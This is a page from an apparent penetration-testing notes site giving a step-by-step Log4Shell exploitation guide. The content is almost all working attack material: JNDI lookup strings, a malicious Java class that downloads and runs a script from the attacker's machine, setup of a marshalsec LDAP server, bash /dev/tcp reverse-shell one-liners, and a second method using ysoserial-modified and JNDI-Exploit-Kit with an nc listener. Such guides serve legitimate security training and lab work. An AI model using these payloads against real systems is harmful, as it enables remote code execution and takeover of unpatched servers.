Intrusionz3r0
HacktheboxTwitter
  • Welcome
  • Windows Penetration Testing
    • Enumeration
    • Credentials Attacks On Windows
    • Kerberos
    • Abuse ACLS
    • Common Attacks
    • Abuse Tokens
    • Kerberos “Double Hop”
    • Privileged Groups
    • Defense Evasion
    • Active Directory Certificate Services
    • Windows Persistence
    • Privilege Escalation
    • Trust Enumeration and Attacks
    • Windows Lateral Movement
    • Powershell Cheetsheet
    • Microsoft Exchange and Office
  • Linux Penetration Testing
    • Linux Active directory
    • Tools
    • Privilege Groups
    • Post Exploitation
    • Privilege Escalation
      • Sudo Privilege escalation
      • Writable .service files
      • Wildcard on compression binaries
      • Path Abuse
      • Capabilities
      • Exploit Logrotate
      • Weak NFS Privileges
      • Hijacking Tmux Sessions
      • Shared Libraries
      • Shared Object Hijacking
      • Python Library Hijacking
      • Linux Enumeration
    • Stealing Linux Credentials
    • Critical Vulnerabilities
    • Upgrading TTY
    • Process monitoring
    • Miscellaneous
    • Escape Restricted Shell
  • Malware Development
    • Malware Development Essentials
    • Code Snippets
    • Malware Development Intermediate
  • Social Engineering
  • Portforwarding and tunneling
  • File Transfer Techniques
  • Password Attacks
  • Enumeration
    • Network Enumeration
    • (OSINT) Active Enumeration
    • (OSINT) Passive Enumeration
    • [22] SSH
    • [21] FTP
    • [25,465,587] SMTP
    • [53] DNS Enumeration
    • [80 443] HTTP HTTPS
    • [110,143,993,995] IMAP/POP3 Enumeration
    • [111,2049] Network File System
    • [139,445] SMB Enumeration
    • [161] SNMP
    • [512,513,514] R-Services
    • [623] IPMI
    • [873] Rsync
    • [1433] MSSQL
    • [1521] Oracle TNS
    • [3389] Remote Desktop Protocol (RDP)
    • [5985/5986] WinRM
    • [3306] Mysql
    • [513] Rlogin
  • Hacking Web
    • Methodology
    • Vulnerabilities
      • SQL Injection
      • Cross Site Scripting (XSS)
      • File path traversal/Local File Inclusion
      • File Upload Attacks
      • Denial of Service
      • Command Injection
      • Insecure Direct Object Reference (IDOR)
      • XML External Entity (XXE) Injection
      • Web Mass Assignment Vulnerabilities
      • Log4Shell Exploitation Guide
      • Authentication
      • Business Vulnerabilities
      • Access control vulnerabilities
      • Server-Side Request Forgery (SSRF)
      • Cross-site request forgery (CSRF)
      • Cross-origin resource sharing (CORS)
      • Clickjacking
      • DOM-based vulnerabilities
      • JWT vulnerabilities
      • Password reset poisoning
    • Web Tech Detection viaa Tokens, Headers & Cookies
    • Burpsuite through SOCKS5
    • Bypass 403 - Forbidden
  • OSINT
  • Common Applications
    • Gitlab
    • Splunk
    • Tomcat
    • Joomla
    • Microsoft Internet Information Services (IIS)
    • Nagios XI
    • Wordpress
    • Drupal
    • Tomcat CGI
    • osTicket
    • Attacking Thick Client Applications
    • PRTG Network Monitor
    • Jenkins
    • ColdFusion
    • WebLogic
    • Grafana
    • Umbraco
  • Containers Pentesting
  • C2 Command and Control
    • Sliver
    • Cobalt Strike
    • Mythic
    • Havoc
  • Report Templates
  • Anonymity Guide
  • Labs
    • Vulnlabs
      • Baby
      • Trusted (Chain)
      • Retro
      • Retro2
      • Hybrid (Chain)
      • Baby2
      • Breach
      • Sendai
      • Sweep
      • Delegate
      • Redelegate
      • Media
      • Bruno
      • Cicada
      • Lustrous2
      • Tengu (Chain)
      • Reflection (Chain)
      • Tea (Chain)
      • Heron (Chain)
      • Lustrous (Chain)
      • Kaiju (Chain)
      • Intercept (Chain)
      • Sidecar (Chain)
      • Vigilant (Chain)
      • Job
      • Job2
      • Puppet (Chain)
      • Mythical (Chain)
      • Push (Chain)
Powered by GitBook
On this page
  • Enumerate Log4Shell
  • Method #1 Manual Way
  • Creating the Malicious Java Class
  • Setting Up the JNDI Exploit Server
  • Reverse Shell Payload
  • Exploiting Log4Shell
  • Notes
  • Method #2 ysoserial-modified
  1. Hacking Web
  2. Vulnerabilities

Log4Shell Exploitation Guide

Enumerate Log4Shell

Use Wireshark to catch the information (Follow > TCP Stream)

#Enumerate the server information
${jndi:ldap://10.10.14.6:1389/${sys:java.class.path}}
${jndi:ldap://10.10.14.6:1389/${java:version}}
${jndi:ldap://10.10.14.6:1389/${java:os}}
${jndi:ldap://10.10.14.6:1389/${env:myenv}}

Method #1 Manual Way

Install Dependencies

sudo apt install maven openjdk-17-jdk -y

Creating the Malicious Java Class

RCE.java

public class RCE {
    static {
        try {
            Runtime r = Runtime.getRuntime();
            Process p = r.exec("wget http://KALIIP/x -O /tmp/x");
            p.waitFor();
            r = Runtime.getRuntime();
            p = r.exec("/bin/bash /tmp/x");
            p.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    public RCE() {
        System.out.println("Is this RCE?");
    }
}

Compile the Payload

#Note: Compile with vulnerable application version
javac -source 1.8 -target 1.8 RCE.java

Setting Up the JNDI Exploit Server

Clone and Build marshalsec

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn package -DskipTests

Start the LDAP Server

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://KALIIP:8888/#RCE"

Reverse Shell Payload

Create a file X with the following payload:

bash -i >& /dev/tcp/KALIIP/1234 0>&1

Exploiting Log4Shell

Send the malicious JNDI lookup string:

${jndi:ldap://10.8.5.48:1389/a}

Notes

  • Replace KALIIP with your attacker's machine IP.

  • Ensure the target application is vulnerable to Log4Shell (e.g., using Log4j versions ≤ 2.14.1).

  • The payload downloads and executes a remote shell script to establish a reverse shell.

Example:

Got Reverse Shell

Method #2 ysoserial-modified

#Clone Repository
git clone https://github.com/pimps/ysoserial-modified
cd ysoserial-modified/target

#Craft Payload
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.15.157/1234 0>&1' > payload.cc5

#Clone Repository
git clone https://github.com/pimps/JNDI-Exploit-Kit.git
cd JNDI-Exploit-Kit/target
#Start the server
java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -L <attackerIP>:1389 -P payload.cc5

#Create a listener to Reverse Shell
nc -lvp <port>

#Send the malicious JNDI lookup string (Based on Vulnerable application java version)
${jndi:ldap://10.8.5.48:1389/xxxxx}

PreviousWeb Mass Assignment VulnerabilitiesNextAuthentication

Last updated 4 months ago

GitHub - pimps/ysoserial-modified: That repository contains my updates to the well know java deserialization exploitation tool ysoserial.GitHub
GitHub - pimps/JNDI-Exploit-Kit: JNDI-Exploitation-Kit(A modified version of the great JNDI-Injection-Exploit created by @welk1n. This tool can be used to start an HTTP Server, RMI Server and LDAP Server to exploit java web apps vulnerable to JNDI Injection)GitHub
Logo
Logo